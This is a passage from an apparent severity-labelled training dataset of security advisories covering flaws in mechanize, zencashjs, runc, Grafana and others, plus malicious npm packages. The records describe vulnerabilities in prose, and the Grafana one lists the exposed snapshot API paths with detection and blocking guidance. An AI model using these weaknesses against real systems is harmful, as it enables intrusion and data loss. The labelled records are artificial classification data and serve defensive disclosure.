`Kernel.open` should not be used with untrusted input.\n\n\n### For more information\n\nIf you have any questions or comments about this advisory, please open an issue in [sparklemotion/mechanize](https://github.com/sparklemotion/mechanize/issues/new).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-02", "split": "train"}
-{"id": "974316c69206a2e6318d", "text": "Undefined Behavior in zencashjs\n\nVersions of `zencashjs` prior to 1.2.0 may cause loss of funds when used with cryptocurrency wallets. The package relies on a string comparison of the first two characters of a Horizen address to determine the destination address type of a transaction (P2PKH or P2SH). Due to the base58 address prefixes chosen in Horizen there exists the possibility of a clash of address prefixes for testnet P2PKH and mainnet P2SH addresses, testnet P2PKH addresses start with “zt” while a subset of mainnet P2SH addresses can also start with “zt”. The package interprets transactions sent to a “zt” P2SH address on mainnet as P2PKH transactions erroneously. Any funds sent to a mainnet P2SH multisignature address starting with “zt” will be sent to the wrong address and be lost.\n\n## Recommendation\n\nUpgrade to version 1.2.0 or later.", "text_raw": "Undefined Behavior in zencashjs\n\n[Severity: CRITICAL]\n\nVersions of `zencashjs` prior to 1.2.0 may cause loss of funds when used with cryptocurrency wallets. The package relies on a string comparison of the first two characters of a Horizen address to determine the destination address type of a transaction (P2PKH or P2SH). Due to the base58 address prefixes chosen in Horizen there exists the possibility of a clash of address prefixes for testnet P2PKH and mainnet P2SH addresses, testnet P2PKH addresses start with “zt” while a subset of mainnet P2SH addresses can also start with “zt”. The package interprets transactions sent to a “zt” P2SH address on mainnet as P2PKH transactions erroneously. Any funds sent to a mainnet P2SH multisignature address starting with “zt” will be sent to the wrong address and be lost.\n\n\n## Recommendation\n\nUpgrade to version 1.2.0 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "02e23789d2fe249722cd", "text": "CKEditor 4 vulnerabilities in versions <4.16.1\n\nDetails see:\n\nhttps://github.com/ckeditor/ckeditor4/security/advisories/GHSA-m94c-37g6-cjhc ( CVE-2021-37695 )\nhttps://github.com/ckeditor/ckeditor4/security/advisories/GHSA-6226-h7ff-ch6c ( CVE-2021-32808 )\nhttps://github.com/ckeditor/ckeditor4/security/advisories/GHSA-7889-rm5j-hpgg  ( CVE-2021-32809 )\n\nPatch: \nhttps://github.com/pimcore/pimcore/pull/10032", "text_raw": "CKEditor 4 vulnerabilities in versions <4.16.1\n\n[Severity: MEDIUM]\n\nDetails see: \n\nhttps://github.com/ckeditor/ckeditor4/security/advisories/GHSA-m94c-37g6-cjhc ( CVE-2021-37695 )\nhttps://github.com/ckeditor/ckeditor4/security/advisories/GHSA-6226-h7ff-ch6c ( CVE-2021-32808 )\nhttps://github.com/ckeditor/ckeditor4/security/advisories/GHSA-7889-rm5j-hpgg  ( CVE-2021-32809 )\n\nPatch: \nhttps://github.com/pimcore/pimcore/pull/10032", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-23", "split": "train"}
-{"id": "6718ac388e57b1849946", "text": "Cross-Site Request Forgery in forkcms\n\nCross-site request forgery (CSRF) in Fork-CMS before 5.8.2 allow remote attackers to hijack the authentication of logged administrators.", "text_raw": "Cross-Site Request Forgery in forkcms\n\n[Severity: HIGH]\n\nCross-site request forgery (CSRF) in Fork-CMS before 5.8.2 allow remote attackers to hijack the authentication of logged administrators.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-22", "split": "train"}
-{"id": "008f2a848c2ab6f54f83", "text": "Arbitrary Code Execution in underscore\n\nThe package `underscore` from 1.13.0-0 and before 1.13.0-2, from 1.3.2 and before 1.12.1 are vulnerable to Arbitrary Code Execution via the template function, particularly when a variable property is passed as an argument as it is not sanitized.", "text_raw": "Arbitrary Code Execution in underscore\n\n[Severity: CRITICAL]\n\nThe package `underscore` from 1.13.0-0 and before 1.13.0-2, from 1.3.2 and before 1.12.1 are vulnerable to Arbitrary Code Execution via the template function, particularly when a variable property is passed as an argument as it is not sanitized.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "cd5f9785b12c5b6d55e4", "text": "Out-of-bounds write in ChakraCore\n\nA remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0825, CVE-2020-0826, CVE-2020-0827, CVE-2020-0828, CVE-2020-0829, CVE-2020-0830, CVE-2020-0831, CVE-2020-0832, CVE-2020-0848.", "text_raw": " Out-of-bounds write in ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0825, CVE-2020-0826, CVE-2020-0827, CVE-2020-0828, CVE-2020-0829, CVE-2020-0830, CVE-2020-0831, CVE-2020-0832, CVE-2020-0848.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-28", "split": "train"}
-{"id": "85b531147e2e3fa8b8d8", "text": "Malicious Package in bubfer-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in bubfer-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "cf0e3e8d59de96506e8f", "text": "Data races in late-static\n\nAffected versions of this crate implemented Sync for LateStatic with T: Send, so that it is possible to create a data race to a type T: Send + !Sync (e.g. Cell<T>).\n\nThis can result in a memory corruption or other kinds of undefined behavior.\n\nThe flaw was corrected in commit 11f396c by replacing the T: Send bound to T: Sync bound in the Sync impl for LateStatic<T>.", "text_raw": "Data races in late-static\n\n[Severity: HIGH]\n\nAffected versions of this crate implemented Sync for LateStatic with T: Send, so that it is possible to create a data race to a type T: Send + !Sync (e.g. Cell<T>).\n\nThis can result in a memory corruption or other kinds of undefined behavior.\n\nThe flaw was corrected in commit 11f396c by replacing the T: Send bound to T: Sync bound in the Sync impl for LateStatic<T>.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "2778a7137bea935e49bd", "text": "Directory Traversal in st\n\nVersions of `st` prior to 0.2.5 are affected by a directory traversal vulnerability. Vulnerable versions fail to properly handle URL encoded dots, which caused `%2e` to be interpreted as `.` by the filesystem, resulting the potential for an attacker to read sensitive files on the server.\n\n## Recommendation\n\nUpdate to version 0.2.5 or later.", "text_raw": "Directory Traversal in st\n\n[Severity: HIGH]\n\nVersions of `st` prior to 0.2.5 are affected by a directory traversal vulnerability. Vulnerable versions fail to properly handle URL encoded dots, which caused `%2e` to be interpreted as `.` by the filesystem, resulting the potential for an attacker to read sensitive files on the server.\n\n\n## Recommendation\n\nUpdate to version 0.2.5 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "8f4124a61e21a3c1b389", "text": "Apple Multiple Products Memory Corruption Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOS, macOS, and watchOS FontParser contain a memory corruption vulnerability which may allow for code execution when processing maliciously crafted front.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple Multiple Products Memory Corruption Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOS, macOS, and watchOS FontParser contain a memory corruption vulnerability which may allow for code execution when processing maliciously crafted front.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "e87bd9055aff1adf0c4c", "text": "Insecure Deserialization in Apache Commons Beanutils\n\nIn Apache Commons Beanutils 1.9.2, a special BeanIntrospector class was added which allows suppressing the ability for an attacker to access the classloader via the class property available on all Java objects. We, however were not using this by default characteristic of the PropertyUtilsBean.", "text_raw": "Insecure Deserialization in Apache Commons Beanutils\n\n[Severity: HIGH]\n\nIn Apache Commons Beanutils 1.9.2, a special BeanIntrospector class was added which allows suppressing the ability for an attacker to access the classloader via the class property available on all Java objects. We, however were not using this by default characteristic of the PropertyUtilsBean.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-15", "split": "train"}
-{"id": "cb961a707e35b8151c48", "text": "Malicious Package in jq-sha3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in jq-sha3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "5d4857d387d9bda99a14", "text": "A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0609, CVE-2019-0639, CVE-2019-0680, CVE-2019-0769, CVE-2019-0770, CVE-2019-0771, CVE-2019-0783.", "text_raw": "High severity vulnerability that affects Microsoft.ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0609, CVE-2019-0639, CVE-2019-0680, CVE-2019-0769, CVE-2019-0770, CVE-2019-0771, CVE-2019-0783.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-09", "split": "train"}
-{"id": "763ff42ab1679abaa6c9", "text": "npm-script-demo is malware\n\nThe `npm-script-demo` package is a piece of malware that opens a connection to a command and control server and executed the instructions it is given.\n\nIt has been removed from the npm registry.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer has been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "npm-script-demo is malware\n\n[Severity: CRITICAL]\n\nThe `npm-script-demo` package is a piece of malware that opens a connection to a command and control server and executed the instructions it is given.\n\nIt has been removed from the npm registry.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer has been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "89db32fe57bf85ead31d", "text": "TP-Link TL-WR740N Wireless Router MitM httpd Denial Of Service", "text_raw": "TP-Link TL-WR740N Wireless Router MitM httpd Denial Of Service\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2014-11-22", "split": "train"}
-{"id": "364c44070256f0777b85", "text": "ECOA Building Automation System Directory Traversal Content Disclosure", "text_raw": "ECOA Building Automation System Directory Traversal Content Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-09-08", "split": "train"}
-{"id": "f55305123e58ab5b1f2c", "text": "Overflow in netlink bytemsg length field allows attacker to override netlink-based container configuration in RunC\n\n### Impact\n\nIn runc, [netlink](https://www.man7.org/linux/man-pages/man7/netlink.7.html) is used internally as a serialization system for specifying the relevant container configuration to the C portion of our code (responsible for the based namespace setup of containers). In all versions of runc prior to 1.0.3, the encoder did not handle the possibility of an integer overflow in the 16-bit length field for the byte array attribute type, meaning that a large enough malicious byte array attribute could result in the length overflowing and the attribute contents being parsed as netlink messages for container configuration.\n\nThis vulnerability requires the attacker to have some control over the configuration of the container and would allow the attacker to bypass the namespace restrictions of the container by simply adding their own netlink payload which disables all namespaces.\n\nPrior to 9c444070ec7bb83995dbc0185da68284da71c554, in practice it was fairly difficult to specify an arbitrary-length netlink message with most container runtimes. The only user-controlled byte array was the namespace paths attributes which can be specified in runc's `config.json`, but as far as we can tell no container runtime gives raw access to that configuration setting -- and having raw access to that setting **would allow the attacker to disable namespace protections entirely anyway** (setting them to `/proc/1/ns/...` for instance). In addition, each namespace path is limited to 4096 bytes (with only 7 namespaces supported by runc at the moment) meaning that even with custom namespace paths it appears an attacker still cannot shove enough bytes into the netlink bytemsg in order to overflow the uint16 counter.\n\nThe main users impacted are those who allow untrusted images with untrusted configurations to run on their machines (such as with shared cloud infrastructure), though as mentioned above it appears this bug was not practically exploitable on any released version of runc to date.\n\n### Patches\nThe patch for this is d72d057ba794164c3cce9451a00b72a78b25e1ae and runc 1.0.3 was released with this bug fixed.\n\n### Workarounds\nTo the extent this is exploitable, disallowing untrusted namespace paths in container configuration should eliminate all practical ways of exploiting this bug. It should be noted that untrusted namespace paths would allow the attacker to disable namespace protections entirely even in the absence of this bug.\n\n### References\n* commit d72d057ba794 (\"runc init: avoid netlink message length overflows\")\n* https://bugs.chromium.org/p/project-zero/issues/detail?id=2241\n\n### Credits\nThanks to Felix Wilhelm from Google Project Zero for discovering and reporting this vulnerability. In particular, the fact they found this vulnerability so quickly, before we made a 1.1 release of runc (which would've been vulnerable) was quite impressive.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [our repo](https://github.com/opencontainers/runc)", "text_raw": "Overflow in netlink bytemsg length field allows attacker to override netlink-based container configuration in RunC\n\n[Severity: MEDIUM]\n\n### Impact\n\nIn runc, [netlink](https://www.man7.org/linux/man-pages/man7/netlink.7.html) is used internally as a serialization system for specifying the relevant container configuration to the C portion of our code (responsible for the based namespace setup of containers). In all versions of runc prior to 1.0.3, the encoder did not handle the possibility of an integer overflow in the 16-bit length field for the byte array attribute type, meaning that a large enough malicious byte array attribute could result in the length overflowing and the attribute contents being parsed as netlink messages for container configuration.\n\nThis vulnerability requires the attacker to have some control over the configuration of the container and would allow the attacker to bypass the namespace restrictions of the container by simply adding their own netlink payload which disables all namespaces.\n\nPrior to 9c444070ec7bb83995dbc0185da68284da71c554, in practice it was fairly difficult to specify an arbitrary-length netlink message with most container runtimes. The only user-controlled byte array was the namespace paths attributes which can be specified in runc's `config.json`, but as far as we can tell no container runtime gives raw access to that configuration setting -- and having raw access to that setting **would allow the attacker to disable namespace protections entirely anyway** (setting them to `/proc/1/ns/...` for instance). In addition, each namespace path is limited to 4096 bytes (with only 7 namespaces supported by runc at the moment) meaning that even with custom namespace paths it appears an attacker still cannot shove enough bytes into the netlink bytemsg in order to overflow the uint16 counter.\n\nHowever, out of an abundance of caution (given how old this bug is) we decided to treat it as a potentially exploitable vulnerability with a low severity. After 9c444070ec7bb83995dbc0185da68284da71c554 (which was not present in any release of runc prior to the discovery of this bug), all mount paths are included as a giant netlink message which means that this bug becomes significantly more exploitable in more reasonable threat scenarios.\n\nThe main users impacted are those who allow untrusted images with untrusted configurations to run on their machines (such as with shared cloud infrastructure), though as mentioned above it appears this bug was not practically exploitable on any released version of runc to date.\n\n### Patches\nThe patch for this is d72d057ba794164c3cce9451a00b72a78b25e1ae and runc 1.0.3 was released with this bug fixed.\n\n### Workarounds\nTo the extent this is exploitable, disallowing untrusted namespace paths in container configuration should eliminate all practical ways of exploiting this bug. It should be noted that untrusted namespace paths would allow the attacker to disable namespace protections entirely even in the absence of this bug.\n\n### References\n* commit d72d057ba794 (\"runc init: avoid netlink message length overflows\")\n* https://bugs.chromium.org/p/project-zero/issues/detail?id=2241\n\n### Credits\nThanks to Felix Wilhelm from Google Project Zero for discovering and reporting this vulnerability. In particular, the fact they found this vulnerability so quickly, before we made a 1.1 release of runc (which would've been vulnerable) was quite impressive.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [our repo](https://github.com/opencontainers/runc)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-07", "split": "train"}
-{"id": "c0f07fa41e0c2f3d58d4", "text": "Incorrect Access Control in Nacos\n\nNacos 1.1.4 is affected by: Incorrect Access Control. An environment can be set up locally to get the service details interface. Then other Nacos service names can be accessed through the service list interface. Service details can then be accessed when not logged in. (detail:https://github.com/alibaba/nacos/issues/2284)", "text_raw": "Incorrect Access Control in Nacos\n\n[Severity: MEDIUM]\n\nNacos 1.1.4 is affected by: Incorrect Access Control. An environment can be set up locally to get the service details interface. Then other Nacos service names can be accessed through the service list interface. Service details can then be accessed when not logged in. (detail:https://github.com/alibaba/nacos/issues/2284)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "937830521091f8aac556", "text": "Prototype Pollution in sds\n\nAffected versions of `sds` are vulnerable to prototype pollution. The `set` function does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n## Recommendation\n\nUpgrade to version 4.0.0 or later", "text_raw": "Prototype Pollution in sds\n\n[Severity: MEDIUM]\n\nAffected versions of `sds` are vulnerable to prototype pollution. The `set` function does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n## Recommendation\n\nUpgrade to version 4.0.0 or later", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "b14135c2ae2f45e46180", "text": "Improper Input Validation in Firefly III\n\nFirefly III 4.7.17.3 is vulnerable to local file enumeration. An attacker can enumerate local files due to the lack of protocol scheme sanitization, such as for file:/// URLs. This is related to fints_url to import/job/configuration, and import/create/fints.", "text_raw": "Improper Input Validation in Firefly III\n\n[Severity: LOW]\n\nFirefly III 4.7.17.3 is vulnerable to local file enumeration. An attacker can enumerate local files due to the lack of protocol scheme sanitization, such as for file:/// URLs. This is related to fints_url to import/job/configuration, and import/create/fints.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "c16df56ccb8b5f7d62ea", "text": "Oracle WebLogic Server Remote Code Execution Vulnerability\n\nAffected: Oracle WebLogic Server\n\nOracle WebLogic Server contains an unspecified vulnerability allowing an unauthenticated attacker to perform remote code execution. This vulnerability is related to CVE-2020-14882.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Oracle WebLogic Server Remote Code Execution Vulnerability\n\nAffected: Oracle WebLogic Server\n\nOracle WebLogic Server contains an unspecified vulnerability allowing an unauthenticated attacker to perform remote code execution. This vulnerability is related to CVE-2020-14882.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "bef4d42c02455106847d", "text": "Cross-Site Scripting in Content Preview\n\n### Problem\nIt has been discovered that database fields used as _descriptionColumn_ are vulnerable to cross-site scripting when their content gets previewed in the page module. A valid backend user account is needed to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 10.4.14, 11.1.1 that fix the problem described.\n\n### Credits\nThanks to Richie Lee who reported this issue and to TYPO3 framework merger Andreas Fernandez who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-007](https://typo3.org/security/advisory/typo3-core-sa-2021-007)", "text_raw": "Cross-Site Scripting in Content Preview\n\n[Severity: MEDIUM]\n\n### Problem\nIt has been discovered that database fields used as _descriptionColumn_ are vulnerable to cross-site scripting when their content gets previewed in the page module. A valid backend user account is needed to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 10.4.14, 11.1.1 that fix the problem described.\n\n### Credits\nThanks to Richie Lee who reported this issue and to TYPO3 framework merger Andreas Fernandez who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-007](https://typo3.org/security/advisory/typo3-core-sa-2021-007)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-23", "split": "train"}
-{"id": "cba91c022b2c371c44dc", "text": "Command Injection in pdf-image\n\nVersions of `pdf-image` before 2.0.0 are vulnerable to command injection. This vulnerability is exploitable if the attacker has control over the `pdfFilePath` variable passed into `pdf-image`.\n\n## Recommendation\n\nUpdate to version 2.0.0 or later.", "text_raw": "Command Injection in pdf-image\n\n[Severity: CRITICAL]\n\nVersions of `pdf-image` before 2.0.0 are vulnerable to command injection. This vulnerability is exploitable if the attacker has control over the `pdfFilePath` variable passed into `pdf-image`.\n\n\n## Recommendation\n\nUpdate to version 2.0.0 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "f66342ea56250396a08a", "text": "Missing Authorization in TeamPass\n\nLack of authorization controls in REST API functions in TeamPass through 2.1.27.36 allows any TeamPass user with a valid API token to become a TeamPass administrator and read/modify all passwords via authenticated api/index.php REST API calls. NOTE: the API is not available by default.", "text_raw": "Missing Authorization in TeamPass\n\n[Severity: HIGH]\n\nLack of authorization controls in REST API functions in TeamPass through 2.1.27.36 allows any TeamPass user with a valid API token to become a TeamPass administrator and read/modify all passwords via authenticated api/index.php REST API calls. NOTE: the API is not available by default.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-26", "split": "train"}
-{"id": "4dd916093c0115b770a1", "text": "Downloads Resources over HTTP in fis-parser-sass-bin\n\nAffected versions of `fis-parser-sass-bin` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `fis-parser-sass-bin`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in fis-parser-sass-bin\n\n[Severity: HIGH]\n\nAffected versions of `fis-parser-sass-bin` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `fis-parser-sass-bin`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "6134ead1a65d7a9e5f47", "text": "Cart Engine 3.0.0 (task.php) Local File Inclusion Vulnerability", "text_raw": "Cart Engine 3.0.0 (task.php) Local File Inclusion Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-03-25", "split": "train"}
-{"id": "484b355c7db7375583a0", "text": "Path Traversal in Docker\n\nPath traversal vulnerability in Docker before 1.3.3 allows remote attackers to write to arbitrary files and bypass a container protection mechanism via a full pathname in a symlink in an (1) image or (2) build in a Dockerfile.", "text_raw": "Path Traversal in Docker\n\n[Severity: MEDIUM]\n\nPath traversal vulnerability in Docker before 1.3.3 allows remote attackers to write to arbitrary files and bypass a container protection mechanism via a full pathname in a symlink in an (1) image or (2) build in a Dockerfile.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "ef863cefb8a9d874c281", "text": "Prototype pollution in set-object-value\n\nPrototype pollution vulnerability in 'set-object-value' versions 0.0.0 through 0.0.5 allows an attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype pollution in set-object-value\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in 'set-object-value' versions 0.0.0 through 0.0.5 allows an attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "4033a9740319b07f8ce9", "text": "Improper Authentication in InfluxDB\n\nInfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in `services/httpd/handler.go` because a JWT token may have an empty SharedSecret (aka shared secret).", "text_raw": "Improper Authentication in InfluxDB\n\n[Severity: CRITICAL]\n\nInfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in `services/httpd/handler.go` because a JWT token may have an empty SharedSecret (aka shared secret).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "61fbc5ad003f63a5a68a", "text": "Authentication bypass for viewing and deletions of snapshots\n\nToday we are releasing Grafana 7.5.11, and 8.1.6. These patch releases include an important security fix for an issue that affects all Grafana versions from 2.0.1.\n\n[Grafana Cloud](https://grafana.com/cloud) instances have already been patched and an audit did not find any usage of this attack vector. [Grafana Enterprise](https://grafana.com/products/enterprise) customers were provided with updated binaries under embargo.\n\n8.1.5 contained a single fix for bar chart panels. We believe that users can expedite deployment by moving from 8.1.4 to 8.1.6 directly.\n\n## CVE-2021-39226 Snapshot authentication bypass\n\n### Summary\n\nWe received a security report to [security@grafana.com](mailto:security@grafana.com) on 2021-09-15 about a vulnerability in Grafana regarding the snapshot feature. It was later identified as affecting Grafana versions from 2.0.1 to 8.1.6. [CVE-2021-39226](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39226) has been assigned to this vulnerability.\n\n### Impact\nUnauthenticated and authenticated users are able to view the snapshot with the lowest database key by accessing the literal paths:\n\n* `/dashboard/snapshot/:key`, or\n* `/api/snapshots/:key`\n\nIf the snapshot \"public_mode\" configuration setting is set to true (vs default of false), unauthenticated users are able to delete the snapshot with the lowest database key by accessing the literal path:\n\n* `/api/snapshots-delete/:deleteKey`\n\nRegardless of the snapshot \"public_mode\" setting, authenticated users are able to delete the snapshot with the lowest database key by accessing the literal paths:\n\n* `/api/snapshots/:key`, or\n* `/api/snapshots-delete/:deleteKey`\n\nThe combination of deletion and viewing enables a complete walk through all snapshot data while resulting in complete snapshot data loss.\n\n### Attack audit\n\nWhile we can not guarantee that the below will identify all attacks, if you do find something with the below, you should consider doing a full assessment.\n\n#### Through reverse proxy/load balancer logs\n\nTo determine if your Grafana installation has been exploited for this vulnerability, search through your reverse proxy/load balancer access logs for instances where the path is `/dashboard/snapshot/:key`, `/api/snapshots/:key` or `/api/snapshots-delete/:deleteKey`, and the response status code was 200 (OK).\nFor example, if you’re using the Kubernetes ingress-nginx controller and sending logs to Loki, use a LogQL query like `{job=\"nginx-ingress-controller\"} |= \"\\\"status\\\": 200\" |= \"\\\"uri\\\": \\\"/api/snapshots/:key\\\"\"`.\n\n#### Through the Grafana Enterprise audit feature\n\nIf you enabled “Log web requests” in your configuration with `router_logging = true`, look for\n`\"requestUri\":\"/api/snapshots-delete/”`,`“requestUri\":\"/api/snapshots/:key\"`, or `\"type\":\"snapshot\"` in combination with `\"action\":\"delete\"`.\n\n### Patched versions\n\nRelease 8.1.6:\n\n- [Download Grafana 8.1.6](https://grafana.com/grafana/download/8.1.6)\n- [Release notes](https://grafana.com/docs/grafana/latest/release-notes/release-notes-8-1-6/)\n\nRelease 7.5.11:\n\n- [Download Grafana 7.5.11](https://grafana.com/grafana/download/7.5.11)\n- [Release notes](https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-5-11/)\n\n### Solutions and mitigations\n\nDownload and install the appropriate patch for your version of Grafana.\n\n[Grafana Cloud](https://grafana.com/cloud) instances have already been patched, and [Grafana Enterprise](https://grafana.com/products/enterprise) customers were provided with updated binaries under embargo.\n\n### Workaround\n\nIf for some reason you cannot upgrade:\n\nYou can use a reverse proxy or similar to block access to the literal paths\n* `/api/snapshots/:key`\n* `/api/snapshots-delete/:deleteKey`\n* `/dashboard/snapshot/:key`\n* `/api/snapshots/:key`\n\nThey have no normal function and can be disabled without side effects.\n\n### Timeline and postmortem\n\nHere is a detailed timeline starting from when we originally learned of the issue. All times in UTC.\n\n## Reporting security issues\n\nIf you think you ", "text_raw": "Authentication bypass for viewing and deletions of snapshots\n\n[Severity: HIGH]\n\nToday we are releasing Grafana 7.5.11, and 8.1.6. These patch releases include an important security fix for an issue that affects all Grafana versions from 2.0.1.\n\n[Grafana Cloud](https://grafana.com/cloud) instances have already been patched and an audit did not find any usage of this attack vector. [Grafana Enterprise](https://grafana.com/products/enterprise) customers were provided with updated binaries under embargo.\n\n8.1.5 contained a single fix for bar chart panels. We believe that users can expedite deployment by moving from 8.1.4 to 8.1.6 directly.\n\n## CVE-2021-39226 Snapshot authentication bypass\n\n### Summary\n\nCVSS Score: 9.8 Critical\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n\nWe received a security report to [security@grafana.com](mailto:security@grafana.com) on 2021-09-15 about a vulnerability in Grafana regarding the snapshot feature. It was later identified as affecting Grafana versions from 2.0.1 to 8.1.6. [CVE-2021-39226](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39226) has been assigned to this vulnerability.\n\n### Impact\nUnauthenticated and authenticated users are able to view the snapshot with the lowest database key by accessing the literal paths:\n\n* `/dashboard/snapshot/:key`, or\n* 